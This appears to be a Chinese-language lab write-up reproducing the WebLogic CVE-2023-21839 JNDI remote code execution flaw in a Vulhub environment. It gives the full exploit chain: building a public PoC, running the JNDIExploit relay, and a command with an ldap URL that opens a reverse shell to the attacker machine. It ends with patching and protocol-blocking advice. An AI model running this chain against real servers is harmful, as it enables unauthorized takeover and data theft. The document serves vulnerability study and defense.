项目介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
漏洞概述
WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行。
环境介绍
kali2023 (攻击机)
centos7.8 (靶机)
环境搭建
Vulhub 环境下载
靶机执行 git clone https://github.com/vulhub/vulhub.git后
出现vulhub目录
### 进入此目录
cd /vulhub/weblogic/CVE-2023-21839
### 运行docker
docker-compose up -d
访问http://靶机ip:7001/console 出现weblogic 登录页面
进入kali攻击机,编译安装go语言环境
apt install gccgo-go
apt install golang-go
环境搭建结束
复现过程
开始复现
poc地址:https://github.com/4ra1n/CVE-2023-21839
下载后拖入kali解压
unzip cve-2023-21839-master.zip
进入poc环境
编译
go build -o CVE-2023-21839
编译后
中转工具
JNDIExploit v1.4地址:
https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4
下载拖入kali解压
###解压
unzip JNDIExploit.v1.4.zip
解压并进入
开启中转工具
(-i 后为攻击机ip)
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.xxx.xxx
kali再开一个终端进行监听
kali再开一个终端进行攻击
进入到刚刚下载cve的poc的目录下/cve-2023-21839-master/cmd
(-ip和-port为靶机的IP和端口,-ldap里的IP都为攻击IP,前面的端口号是中转工具的默认端口,后面为导出的端口号)
./CVE-2023-21839 -ip 192.168.xxx.xx1 -port 7001 -ldap ldap://192.168.xxx.xx2:1389/Basic/ReverseShell/192.168.xxx.xx2/7892
此刻再看nc监听终端成功返回shell
此刻漏洞复现已经成功
或者通过dnslog 也可拿到结果
后谈
如果没有拿到shell,可能是java jdk版本不对,重新安装kali jdk版本
###卸载原有版本
apt-get remove openjdk*
apt autoremove
下载java1.8
下载链接:https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
下载后拖入kali
tar -xzvf jdk-8u202-linux-x64.tar.gz #解压
进入路径
以下依次执行(如果解压路径 和我不同,请自行更改命令中路径)
export JAVA_HOME=/opt/jdk1.8.0_202
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_202/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_202/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_202/bin/java
update-alternatives --set javac /opt/jdk1.8.0_202/bin/javac
java -version //完成查看版本
总结
1、目前Oracle已经修复该漏洞并发布补丁,受影响的用户可参考官方通告及时下载并更新补丁,下载地址:https://support.oracle.com/rs?type=doc&id=2917213.2。
2、通过控制T3协议的访问来阻断利用T3协议的漏洞攻击。
3、通过关闭IIOP协议来阻断利用IIOP协议的漏洞攻击。